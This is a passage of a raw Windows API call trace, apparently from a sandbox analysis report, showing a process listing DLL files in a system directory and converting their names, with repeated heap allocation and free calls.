lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.676] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.676] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.676] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.676] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.676] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.677] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x49c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.677] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x49c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.677] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.677] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.677] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x49c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.678] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x49c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.678] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.678] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.678] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.678] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.678] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.679] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.679] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.679] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.679] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.679] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 